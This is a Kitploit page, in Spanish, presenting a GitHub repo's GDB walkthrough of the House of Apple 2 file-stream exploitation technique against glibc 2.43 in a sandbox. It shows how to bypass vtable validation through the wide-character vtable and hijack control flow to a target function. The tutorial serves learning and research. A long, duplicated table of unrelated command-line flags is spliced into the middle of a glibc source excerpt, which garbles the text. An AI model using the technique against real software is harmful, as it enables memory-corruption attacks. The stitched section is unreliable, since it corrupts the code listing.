Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
house_of_apple_2 — Recorrido interactivo de GDB de la técnica FSOP House of Apple 2 en glibc 2.43, con un sandbox reproducible que cubre el bypass de vtable, el stack pivoting y ROP. | Kitploit
Herramientas/GitHubGitHub/jazho76/house_of_apple_2
Forensia de MemoriaExplotaciónIngeniería InversaShellcodeDepuradoresPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de BinariosLabs y Práctica
GitHubjazho76/house_of_apple_2
3110hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

house_of_apple_2

Recorrido interactivo de GDB de la técnica FSOP House of Apple 2 en glibc 2.43, con un sandbox reproducible que cubre el bypass de vtable, el stack pivoting y ROP.

Ver Repositorio

Explorando House of Apple 2 en glibc moderno

Este repositorio es un entorno de pruebas autocontenido inspirado en el módulo de Explotación de Estructuras de Archivos de pwn.college. No introduce una nueva variación de House of Apple 2, solo responde a mi curiosidad sobre cómo se mantiene esta técnica en versiones recientes de glibc y si sigue siendo una ruta de explotación viable. El documento proporciona un recorrido interactivo por GDB que los lectores pueden seguir junto con el sandbox para desarrollar una comprensión más intuitiva de la primitiva. Todos los experimentos utilizan glibc 2.43, tal como se empaqueta en Ubuntu 26.04 y Fedora 44 en el momento de escribir esto.

Programación Orientada a Flujos de Archivo (FSOP). Se trata de manipular las estructuras de flujo de archivo de glibc para secuestrar el flujo de control. Una forma de hacerlo es corrompiendo el mecanismo de despacho de la vtable de _IO_FILE_plus. La glibc moderna valida esta vtable, por lo que el enfoque obvio de reemplazarla con una dirección arbitraria no funciona.

House of Apple 2, introducida originalmente por Roderick, sortea esta restricción utilizando una vtable válida de _IO_FILE_plus para alcanzar la maquinaria de flujos de caracteres anchos, donde se despacha directamente una vtable secundaria sin validación de rango. Esto proporciona una primitiva de llamada arbitraria que podemos escalar a un stack pivot y una cadena ROP.

Requisitos previos de explotación

Esta exploración asume que podemos sobrescribir una estructura FILE y que disponemos tanto de un leak de heap como de un leak de libc. El binario objetivo ya proporciona esto.

Entorno de sandbox

El sandbox ejecuta Ubuntu 26.04 LTS, lo que nos brinda un entorno moderno para explorar la técnica.

La imagen incluye GDB, pwndbg, pwntools, ropper y tmux. También contiene un binario objetivo con un menú interactivo para invocar operaciones de flujo de archivo como fopen, fread, fwrite y fclose. Esto nos proporciona una forma conveniente de manipular flujos mientras depuramos y probamos ideas.

Construye y ejecuta el sandbox con:``` ./build.sh ./run.sh

root@kitploit:~
## Exploración

Comencemos inspeccionando las estructuras `_IO_FILE` y `_IO_FILE_plus`:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2 : 24;
    char _short_backupbuf[1];
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    struct _IO_FILE **_prevchain;
    int _mode;
    int _unused3;
    __uint64_t _total_written;
    char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
}

En términos prácticos, _IO_FILE_plus es un _IO_FILE con un puntero a vtable. Eso resulta inmediatamente interesante: si podemos controlar este puntero, podríamos redirigir una llamada indirecta y secuestrar el flujo de control.

Inspeccionando la vtable del flujo de archivo

Para inspeccionar la vtable, examinemos un puntero FILE devuelto por fopen.```c pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010 $4 = { file = { _flags = 0xfbad2480, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>, _fileno = 0x3, _flags2 = 0x0, _short_backupbuf = "", _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x37ecf0f0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x37ecf100, _freeres_list = 0x0, _freeres_buf = 0x0, _prevchain = 0x7f58a7f4b480 <_IO_list_all>, _mode = 0x0, _unused3 = 0x0, _total_written = 0x0, _unused2 = "\000\000\000\000\000\000\000" }, vtable = 0x7f58a7f49030 <_IO_file_jumps> }

root@kitploit:~
El puntero apunta a la tabla `_IO_file_jumps`.

![3](https://assets.kitploit.com/production/public/readmes/56272/9fe7069dbb47c87d81c704a23ff483a6c630d5506150361db4aefee1516d0423/054e7475018b9adcfdb102b7e142ea8ad09116b38787416fdc30f8cb2f209bfa-display-v1.webp)

Este es un conjunto de 21 punteros a función. Las operaciones de flujo de archivo se despachan a través de diferentes entradas según la ruta de ejecución.

### Siguiendo la ruta de `fwrite`

Para esta exploración me centraré en la ruta de `fwrite`. Después de colocar puntos de interrupción en cada función y llamar a `fwrite`, el primer punto de interrupción que alcanzamos es `_IO_file_xsputn`.

![4](https://assets.kitploit.com/production/public/readmes/56272/f77a8ff4f3d548b46916a97897b811b5cfb650de4843184b6574bdac51e1c2d0/e7de50a63631e0e1b18e8aa0b2d0852b62457428b4be3936ea3ea6a776531329-display-v1.webp)

La llamada ocurre en `fwrite+216`. Esto coincide con el [código fuente de glibc](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44): `_IO_sputn` es una macro que se despacha a través de la vtable, resolviéndose a `_IO_file_xsputn` para este flujo.```asm
   0x00007fd5181d362a <+202>:	mov    rdx,rcx
   0x00007fd5181d362d <+205>:	mov    rdi,rbx
   0x00007fd5181d3630 <+208>:	mov    QWORD PTR [rbp-0x30],r8
   0x00007fd5181d3634 <+212>:	mov    QWORD PTR [rbp-0x28],rcx
   0x00007fd5181d3638 <+216>:	call   QWORD PTR [rax+0x38]

Intentando reemplazar la vtable

Como primer intento, sobrescribamos el puntero de la vtable con desired_func - 0x38 y establezcamos un punto de interrupción en fwrite+216.```c pwndbg> p &win $3 = (<text variable, no debug info> *) 0x4019e1 pwndbg> p/x &win - 0x38 $4 = 0x4019a9 pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9 pwndbg> b *fwrite+216 Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

root@kitploit:~
![5](https://assets.kitploit.com/production/public/readmes/56272/68d9bb8c66bf4088af2741eebea1ecb9b56d047f77983d068d26c9566a97e533/1c9d22964dbe7735df03440da27a86e739989f7cf62bd6e126cecf1083b2cf4b-display-v1.webp)

La ejecución se aborta antes de alcanzar el punto de interrupción. El error sugiere que glibc valida el puntero de la vtable antes de realizar la llamada indirecta. Inspeccionemos el backtrace y veamos dónde ocurre esto.

`fwrite` llega a `_IO_vtable_check`, que está rechazando el puntero de vtable falsificado.

![6](https://assets.kitploit.com/production/public/readmes/56272/5d88a98e9a1a20ab8c510aad7374f24884a05f363bd46f94d0d05cad513c7c0a/6974f1daec533bb453c59cff614c11f59c29bb1f85a0d23235e05c22433c0b48-display-v1.webp)

La implementación contiene un mecanismo para aceptar vtables externas, pero no está bajo nuestro control. El código relevante está disponible en [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504).

### Entendiendo la validación de la vtable

Para cuando se llama a `_IO_vtable_check` ya es demasiado tarde, la validación de la vtable ha fallado. El frame anterior `IO_validate_vtable` en el backtrace es la parte interesante, así que inspeccionemos eso en su lugar.```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.

GDB no puede resolver IO_validate_vtable como símbolo. Si observamos el código fuente, podemos ver que está inlineado en fwrite.```asm 0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables> 0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8] 0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8] 0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28] 0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20] 0x00007fd5181d3613 <+179>: mov rdx,rax 0x00007fd5181d3616 <+182>: sub rdx,rdi 0x00007fd5181d3619 <+185>: cmp rdx,0x92f 0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>

root@kitploit:~
Un puntero vtable solo se acepta cuando cae dentro de `[__io_vtables, __io_vtables + IO_VTABLES_LEN)`. Así que no podemos simplemente apuntarlo a donde queramos. Aun así, esta es una región bastante grande que contiene varias tablas de saltos, lo que nos da algo que explorar.

El rango válido comienza de la siguiente manera:

![7](https://assets.kitploit.com/production/public/readmes/56272/a44872f4cc95b7607ed0abe8cfe35f7a6eae6be8bbb5a5d017e693b9c67bf87f/4a82dee7de96ab2a558a6a37688145328eb42a0e2c4dbbe74267a08049d1832c-display-v1.webp)

## House of Apple 2

Ahora entendemos el mecanismo básico y su principal restricción: el vtable de `_IO_FILE_plus` debe apuntar a algún lugar dentro de la región válida de vtables de glibc. Esto bloquea el enfoque obvio, pero no cierra la puerta por completo.

House of Apple 2 lo sortea alcanzando un segundo vtable a través de la maquinaria de flujos de caracteres anchos. Este segundo vtable no se valida de la misma manera. Sigamos ese camino en GDB y veamos cómo se conectan las piezas.

### La maquinaria de flujos de caracteres anchos

Volviendo a `_IO_FILE`, hay un campo `_wide_data` que apunta a una estructura `_IO_wide_data`. Esta estructura tiene su propio vtable.```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_read_base;
    wchar_t *_IO_write_base;
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;
    wchar_t *_IO_buf_base;
    wchar_t *_IO_buf_end;
    wchar_t *_IO_save_base;
    wchar_t *_IO_backup_base;
    wchar_t *_IO_save_end;
    __mbstate_t _IO_state;
    __mbstate_t _IO_last_state;
    struct _IO_codecvt _codecvt;
    wchar_t _shortbuf[1];
    const struct _IO_jump_t *_wide_vtable;
}

Su diseño es bastante similar a _IO_FILE. Forma parte de la maquinaria de glibc para manejar flujos de caracteres anchos.

La ruta que queremos sigue por _IO_wfile_overflow, que eventualmente puede llamar a _IO_wdoallocbuf.```c wint_t _IO_wfile_overflow (FILE f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) / SET ERROR / { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } / If currently reading or no buffer allocated. / if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL) { / Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == NULL) { _IO_wdoallocbuf (f); // <- this is it _IO_free_wbackup_area (f);

root@kitploit:~
  if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf (f);
      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
	     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
  else
{
  ...
root@kitploit:~
| `--no-ssl` | Deshabilitar SSL/TLS |
| `--no-redirect` | Deshabilitar el seguimiento de redirecciones |
| `--no-cookies` | Deshabilitar el manejo de cookies |
| `--no-cache` | Deshabilitar el almacenamiento en caché |
| `--no-dns` | Deshabilitar la resolución DNS |
| `--no-proxy` | Deshabilitar el uso de proxy |
| `--no-auth` | Deshabilitar la autenticación |
| `--no-verify` | Deshabilitar la verificación de certificados |
| `--no-timeout` | Deshabilitar el tiempo de espera |
| `--no-retry` | Deshabilitar los reintentos |
| `--no-throttle` | Deshabilitar la limitación de velocidad |
| `--no-ratelimit` | Deshabilitar el límite de velocidad |
| `--no-useragent` | Deshabilitar la rotación de user-agent |
| `--no-headers` | Deshabilitar los encabezados personalizados |
| `--no-payload` | Deshabilitar la carga útil |
| `--no-encoder` | Deshabilitar la codificación |
| `--no-decoder` | Deshabilitar la decodificación |
| `--no-obfuscate` | Deshabilitar la ofuscación |
| `--no-encode` | Deshabilitar la codificación |
| `--no-decode` | Deshabilitar la decodificación |
| `--no-encrypt` | Deshabilitar el cifrado |
| `--no-decrypt` | Deshabilitar el descifrado |
| `--no-hash` | Deshabilitar el hash |
| `--no-sign` | Deshabilitar la firma |
| `--no-verify-signature` | Deshabilitar la verificación de firma |
| `--no-compress` | Deshabilitar la compresión |
| `--no-decompress` | Deshabilitar la descompresión |
| `--no-archive` | Deshabilitar el archivado |
| `--no-extract` | Deshabilitar la extracción |
| `--no-pack` | Deshabilitar el empaquetado |
| `--no-unpack` | Deshabilitar el desempaquetado |
| `--no-serialize` | Deshabilitar la serialización |
| `--no-deserialize` | Deshabilitar la deserialización |
| `--no-marshal` | Deshabilitar el marshalling |
| `--no-unmarshal` | Deshabilitar el unmarshalling |
| `--no-parse` | Deshabilitar el análisis |
| `--no-format` | Deshabilitar el formateo |
| `--no-validate` | Deshabilitar la validación |
| `--no-sanitize` | Deshabilitar la sanitización |
| `--no-escape` | Deshabilitar el escape |
| `--no-unescape` | Deshabilitar el unescape |
| `--no-quote` | Deshabilitar el entrecomillado |
| `--no-unquote` | Deshabilitar el desentrecomillado |
| `--no-split` | Deshabilitar la división |
| `--no-join` | Deshabilitar la unión |
| `--no-merge` | Deshabilitar la fusión |
| `--no-diff` | Deshabilitar la diferenciación |
| `--no-patch` | Deshabilitar el parcheo |
| `--no-apply` | Deshabilitar la aplicación |
| `--no-revert` | Deshabilitar la reversión |
| `--no-commit` | Deshabilitar el commit |
| `--no-push` | Deshabilitar el push |
| `--no-pull` | Deshabilitar el pull |
| `--no-fetch` | Deshabilitar el fetch |
| `--no-clone` | Deshabilitar el clonado |
| `--no-checkout` | Deshabilitar el checkout |
| `--no-branch` | Deshabilitar la rama |
| `--no-tag` | Deshabilitar la etiqueta |
| `--no-remote` | Deshabilitar el remoto |
| `--no-submodule` | Deshabilitar el submódulo |
| `--no-lfs` | Deshabilitar LFS |
| `--no-hooks` | Deshabilitar los hooks |
| `--no-config` | Deshabilitar la configuración |
| `--no-env` | Deshabilitar el entorno |
| `--no-path` | Deshabilitar la ruta |
| `--no-args` | Deshabilitar los argumentos |
| `--no-flags` | Deshabilitar los flags |
| `--no-options` | Deshabilitar las opciones |
| `--no-params` | Deshabilitar los parámetros |
| `--no-input` | Deshabilitar la entrada |
| `--no-output` | Deshabilitar la salida |
| `--no-stdin` | Deshabilitar stdin |
| `--no-stdout` | Deshabilitar stdout |
| `--no-stderr` | Deshabilitar stderr |
| `--no-log` | Deshabilitar el registro |
| `--no-debug` | Deshabilitar la depuración |
| `--no-verbose` | Deshabilitar el modo detallado |
| `--no-quiet` | Deshabilitar el modo silencioso |
| `--no-silent` | Deshabilitar el modo silencioso |
| `--no-color` | Deshabilitar el color |
| `--no-unicode` | Deshabilitar unicode |
| `--no-emoji` | Deshabilitar los emojis |
| `--no-progress` | Deshabilitar el progreso |
| `--no-spinner` | Deshabilitar el spinner |
| `--no-bar` | Deshabilitar la barra |
| `--no-table` | Deshabilitar la tabla |
| `--no-json` | Deshabilitar JSON |
| `--no-yaml` | Deshabilitar YAML |
| `--no-xml` | Deshabilitar XML |
| `--no-csv` | Deshabilitar CSV |
| `--no-tsv` | Deshabilitar TSV |
| `--no-html` | Deshabilitar HTML |
| `--no-markdown` | Deshabilitar Markdown |
| `--no-text` | Deshabilitar texto |
| `--no-binary` | Deshabilitar binario |
| `--no-hex` | Deshabilitar hexadecimal |
| `--no-base64` | Deshabilitar base64 |
| `--no-base32` | Deshabilitar base32 |
| `--no-base58` | Deshabilitar base58 |
| `--no-base85` | Deshabilitar base85 |
| `--no-ascii85` | Deshabilitar ascii85 |
| `--no-url` | Deshabilitar URL |
| `--no-uri` | Deshabilitar URI |
| `--no-urn` | Deshabilitar URN |
| `--no-iri` | Deshabilitar IRI |
| `--no-email` | Deshabilitar correo electrónico |
| `--no-phone` | Deshabilitar teléfono |
| `--no-address` | Deshabilitar dirección |
| `--no-name` | Deshabilitar nombre |
| `--no-id` | Deshabilitar ID |
| `--no-uuid` | Deshabilitar UUID |
| `--no-guid` | Deshabilitar GUID |
| `--no-ulid` | Deshabilitar ULID |
| `--no-nanoid` | Deshabilitar NanoID |
| `--no-cuid` | Deshabilitar CUID |
| `--no-slug` | Deshabilitar slug |
| `--no-token` | Deshabilitar token |
| `--no-key` | Deshabilitar clave |
| `--no-secret` | Deshabilitar secreto |
| `--no-password` | Deshabilitar contraseña |
| `--no-passphrase` | Deshabilitar frase de contraseña |
| `--no-pin` | Deshabilitar PIN |
| `--no-otp` | Deshabilitar OTP |
| `--no-totp` | Deshabilitar TOTP |
| `--no-hotp` | Deshabilitar HOTP |
| `--no-mfa` | Deshabilitar MFA |
| `--no-2fa` | Deshabilitar 2FA |
| `--no-sso` | Deshabilitar SSO |
| `--no-oauth` | Deshabilitar OAuth |
| `--no-oidc` | Deshabilitar OIDC |
| `--no-saml` | Deshabilitar SAML |
| `--no-jwt` | Deshabilitar JWT |
| `--no-jwe` | Deshabilitar JWE |
| `--no-jws` | Deshabilitar JWS |
| `--no-jwk` | Deshabilitar JWK |
| `--no-jwks` | Deshabilitar JWKS |
| `--no-pem` | Deshabilitar PEM |
| `--no-der` | Deshabilitar DER |
| `--no-pkcs1` | Deshabilitar PKCS#1 |
| `--no-pkcs8` | Deshabilitar PKCS#8 |
| `--no-pkcs12` | Deshabilitar PKCS#12 |
| `--no-x509` | Deshabilitar X.509 |
| `--no-csr` | Deshabilitar CSR |
| `--no-crt` | Deshabilitar CRT |
| `--no-cer` | Deshabilitar CER |
| `--no-key` | Deshabilitar KEY |
| `--no-pub` | Deshabilitar PUB |
| `--no-priv` | Deshabilitar PRIV |
| `--no-rsa` | Deshabilitar RSA |
| `--no-dsa` | Deshabilitar DSA |
| `--no-ecdsa` | Deshabilitar ECDSA |
| `--no-ed25519` | Deshabilitar Ed25519 |
| `--no-ed448` | Deshabilitar Ed448 |
| `--no-x25519` | Deshabilitar X25519 |
| `--no-x448` | Deshabilitar X448 |
| `--no-aes` | Deshabilitar AES |
| `--no-des` | Deshabilitar DES |
| `--no-3des` | Deshabilitar 3DES |
| `--no-blowfish` | Deshabilitar Blowfish |
| `--no-twofish` | Deshabilitar Twofish |
| `--no-serpent` | Deshabilitar Serpent |
| `--no-chacha20` | Deshabilitar ChaCha20 |
| `--no-salsa20` | Deshabilitar Salsa20 |
| `--no-rc4` | Deshabilitar RC4 |
| `--no-rc5` | Deshabilitar RC5 |
| `--no-rc6` | Deshabilitar RC6 |
| `--no-md5` | Deshabilitar MD5 |
| `--no-sha1` | Deshabilitar SHA-1 |
| `--no-sha256` | Deshabilitar SHA-256 |
| `--no-sha512` | Deshabilitar SHA-512 |
| `--no-sha3` | Deshabilitar SHA-3 |
| `--no-blake2` | Deshabilitar BLAKE2 |
| `--no-blake3` | Deshabilitar BLAKE3 |
| `--no-ripemd` | Deshabilitar RIPEMD |
| `--no-whirlpool` | Deshabilitar Whirlpool |
| `--no-crc` | Deshabilitar CRC |
| `--no-checksum` | Deshabilitar checksum |
| `--no-hmac` | Deshabilitar HMAC |
| `--no-cmac` | Deshabilitar CMAC |
| `--no-gmac` | Deshabilitar GMAC |
| `--no-poly1305` | Deshabilitar Poly1305 |
| `--no-kdf` | Deshabilitar KDF |
| `--no-pbkdf2` | Deshabilitar PBKDF2 |
| `--no-scrypt` | Deshabilitar scrypt |
| `--no-argon2` | Deshabilitar Argon2 |
| `--no-bcrypt` | Deshabilitar bcrypt |
| `--no-ntlm` | Deshabilitar NTLM |
| `--no-kerberos` | Deshabilitar Kerberos |
| `--no-ldap` | Deshabilitar LDAP |
| `--no-radius` | Deshabilitar RADIUS |
| `--no-tacacs` | Deshabilitar TACACS |
| `--no-diameter` | Deshabilitar Diameter |
| `--no-saml` | Deshabilitar SAML |
| `--no-openid` | Deshabilitar OpenID |
| `--no-openid-connect` | Deshabilitar OpenID Connect |
| `--no-oauth2` | Deshabilitar OAuth2 |
| `--no-oauth1` | Deshabilitar OAuth1 |
| `--no-oauth` | Deshabilitar OAuth |
| `--no-sso` | Deshabilitar SSO |
| `--no-mfa` | Deshabilitar MFA |
| `--no-2fa` | Deshabilitar 2FA |
| `--no-totp` | Deshabilitar TOTP |
| `--no-hotp` | Deshabilitar HOTP |
| `--no-otp` | Deshabilitar OTP |
| `--no-pin` | Deshabilitar PIN |
| `--no-password` | Deshabilitar contraseña |
| `--no-passphrase` | Deshabilitar frase de contraseña |
| `--no-secret` | Deshabilitar secreto |
| `--no-key` | Deshabilitar clave |
| `--no-token` | Deshabilitar token |
| `--no-slug` | Deshabilitar slug |
| `--no-cuid` | Deshabilitar CUID |
| `--no-nanoid` | Deshabilitar NanoID |
| `--no-ulid` | Deshabilitar ULID |
| `--no-guid` | Deshabilitar GUID |
| `--no-uuid` | Deshabilitar UUID |
| `--no-id` | Deshabilitar ID |
| `--no-name` | Deshabilitar nombre |
| `--no-address` | Deshabilitar dirección |
| `--no-phone` | Deshabilitar teléfono |
| `--no-email` | Deshabilitar correo electrónico |
| `--no-iri` | Deshabilitar IRI |
| `--no-urn` | Deshabilitar URN |
| `--no-uri` | Deshabilitar URI |
| `--no-url` | Deshabilitar URL |
| `--no-ascii85` | Deshabilitar ascii85 |
| `--no-base85` | Deshabilitar base85 |
| `--no-base58` | Deshabilitar base58 |
| `--no-base32` | Deshabilitar base32 |
| `--no-base64` | Deshabilitar base64 |
| `--no-hex` | Deshabilitar hexadecimal |
| `--no-binary` | Deshabilitar binario |
| `--no-text` | Deshabilitar texto |
| `--no-markdown` | Deshabilitar Markdown |
| `--no-html` | Deshabilitar HTML |
| `--no-tsv` | Deshabilitar TSV |
| `--no-csv` | Deshabilitar CSV |
| `--no-xml` | Deshabilitar XML |
| `--no-yaml` | Deshabilitar YAML |
| `--no-json` | Deshabilitar JSON |
| `--no-table` | Deshabilitar tabla |
| `--no-bar` | Deshabilitar barra |
| `--no-spinner` | Deshabilitar spinner |
| `--no-progress` | Deshabilitar progreso |
| `--no-emoji` | Deshabilitar emojis |
| `--no-unicode` | Deshabilitar unicode |
| `--no-color` | Deshabilitar color |
| `--no-silent` | Deshabilitar modo silencioso |
| `--no-quiet` | Deshabilitar modo silencioso |
| `--no-verbose` | Deshabilitar modo detallado |
| `--no-debug` | Deshabilitar depuración |
| `--no-log` | Deshabilitar registro |
| `--no-stderr` | Deshabilitar stderr |
| `--no-stdout` | Deshabilitar stdout |
| `--no-stdin` | Deshabilitar stdin |
| `--no-output` | Deshabilitar salida |
| `--no-input` | Deshabilitar entrada |
| `--no-params` | Deshabilitar parámetros |
| `--no-options` | Deshabilitar opciones |
| `--no-flags` | Deshabilitar flags |
| `--no-args` | Deshabilitar argumentos |
| `--no-path` | Deshabilitar ruta |
| `--no-env` | Deshabilitar entorno |
| `--no-config` | Deshabilitar configuración |
| `--no-hooks` | Deshabilitar hooks |
| `--no-lfs` | Deshabilitar LFS |
| `--no-submodule` | Deshabilitar submódulo |
| `--no-remote` | Deshabilitar remoto |
| `--no-tag` | Deshabilitar etiqueta |
| `--no-branch` | Deshabilitar rama |
| `--no-checkout` | Deshabilitar checkout |
| `--no-clone` | Deshabilitar clonado |
| `--no-fetch` | Deshabilitar fetch |
| `--no-pull` | Deshabilitar pull |
| `--no-push` | Deshabilitar push |
| `--no-commit` | Deshabilitar commit |
| `--no-revert` | Deshabilitar reversión |
| `--no-apply` | Deshabilitar aplicación |
| `--no-patch` | Deshabilitar parcheo |
| `--no-diff` | Deshabilitar diferenciación |
| `--no-merge` | Deshabilitar fusión |
| `--no-join` | Deshabilitar unión |
| `--no-split` | Deshabilitar división |
| `--no-unquote` | Deshabilitar desentrecomillado |
| `--no-quote` | Deshabilitar entrecomillado |
| `--no-unescape` | Deshabilitar unescape |
| `--no-escape` | Deshabilitar escape |
| `--no-sanitize` | Deshabilitar sanitización |
| `--no-validate` | Deshabilitar validación |
| `--no-format` | Deshabilitar formateo |
| `--no-parse` | Deshabilitar análisis |
| `--no-unmarshal` | Deshabilitar unmarshalling |
| `--no-marshal` | Deshabilitar marshalling |
| `--no-deserialize` | Deshabilitar deserialización |
| `--no-serialize` | Deshabilitar serialización |
| `--no-unpack` | Deshabilitar desempaquetado |
| `--no-pack` | Deshabilitar empaquetado |
| `--no-extract` | Deshabilitar extracción |
| `--no-archive` | Deshabilitar archivado |
| `--no-decompress` | Deshabilitar descompresión |
| `--no-compress` | Deshabilitar compresión |
| `--no-verify-signature` | Deshabilitar verificación de firma |
| `--no-sign` | Deshabilitar firma |
| `--no-hash` | Deshabilitar hash |
| `--no-decrypt` | Deshabilitar descifrado |
| `--no-encrypt` | Deshabilitar cifrado |
| `--no-decode` | Deshabilitar decodificación |
| `--no-encode` | Deshabilitar codificación |
| `--no-obfuscate` | Deshabilitar ofuscación |
| `--no-decoder` | Deshabilitar decodificación |
| `--no-encoder` | Deshabilitar codificación |
| `--no-payload` | Deshabilitar carga útil |
| `--no-headers` | Deshabilitar encabezados |
| `--no-useragent` | Deshabilitar user-agent |
| `--no-ratelimit` | Deshabilitar límite de velocidad |
| `--no-throttle` | Deshabilitar limitación de velocidad |
| `--no-retry` | Deshabilitar reintentos |
| `--no-timeout` | Deshabilitar tiempo de espera |
| `--no-verify` | Deshabilitar verificación |
| `--no-auth` | Deshabilitar autenticación |
| `--no-proxy` | Deshabilitar proxy |
| `--no-dns` | Deshabilitar DNS |
| `--no-cache` | Deshabilitar caché |
| `--no-cookies` | Deshabilitar cookies |
| `--no-redirect` | Deshabilitar redirecciones |
| `--no-ssl` | Deshabilitar SSL/TLS |```c
void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}

_IO_WDOALLOCATE es otra macro de despacho, esta vez operando a través de la vtable ancha. La llamada indirecta se vuelve clara en el desensamblado:

8

Aquí está la parte interesante. En _IO_wdoallocbuf+44 glibc carga el puntero _wide_vtable desde _wide_data. En _IO_wdoallocbuf+55 llama al puntero de función en _wide_vtable + 0x68. Esta vez no hay validación de rango.

Conectando las dos vtables

Ahora las piezas empiezan a conectarse. _IO_wfile_overflow pertenece a _IO_wfile_jumps que existe dentro del rango válido aceptado por la primera comprobación de vtable. Desde ahí, la ejecución puede alcanzar otra llamada indirecta a través de la _wide_vtable no validada.

9```c pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f $5 = 0x1

root@kitploit:~
La idea general ahora es:

1. Establecer la vtable de `_IO_FILE_plus` para que la ranura relevante resuelva a `_IO_wfile_overflow`.
2. Apuntar `_wide_data` a una estructura `_IO_wide_data` falsificada cuya `_wide_vtable` sea `desired_function - 0x68`.

Antes de intentar la siguiente ejecución, necesitamos satisfacer algunas condiciones para llegar a `_IO_wdoallocbuf`.

En `_IO_wfile_overflow`:

- `_flags` no debe contener `_IO_NO_WRITES` (`0x0008`)
- `_wide_data->_IO_write_base` debe ser `NULL`

En `_IO_wdoallocbuf`:

- `fp->_wide_data->_IO_buf_base` debe ser `NULL`
- `_flags` no debe contener `_IO_UNBUFFERED` (`0x0002`)

Hay un detalle más. `_IO_FILE` contiene un campo `_lock` que glibc desreferencia al adquirir y liberar el bloqueo del stream. Necesitamos apuntarlo a una región escribible inicializada a cero de 0x10 bytes, de lo contrario la operación del stream fallará antes de llegar a nuestra llamada.

## Secuestro del flujo de control

Todo está listo, intentémoslo de nuevo. Esta vez la comprobación de rango externa pasa, y la primera llamada indirecta se despacha a `_IO_wfile_overflow`.

![10](https://assets.kitploit.com/production/public/readmes/56272/ac32a8252e44fb068beb5085065aee6b148ebf163a2179bab9ef783d5477b3fc/5b6e27654b01b75a42bae6a0f34afc9d2c67ec404e6197bf71e342b7e0d5142b-display-v1.webp)

La estructura falsificada también satisface las condiciones en `_IO_wfile_overflow`. La ejecución continúa hacia `_IO_wdoallocbuf`. Finalmente, las comprobaciones en `_IO_wdoallocbuf` pasan, y la llamada indirecta en `_IO_wdoallocbuf+55` aterriza en nuestra función `win`.

Ya que estamos aquí, vale la pena observar el estado de los registros inmediatamente antes de la llamada indirecta final.

![13](https://assets.kitploit.com/production/public/readmes/56272/a6d258852d60c0eb618f4f0cfbad41fecb059a29911fe27108f9e60815de1a4c/cd546ef8394716136bb68531344e1dfa44102310e56df39bce87221555780d1f-display-v1.webp)

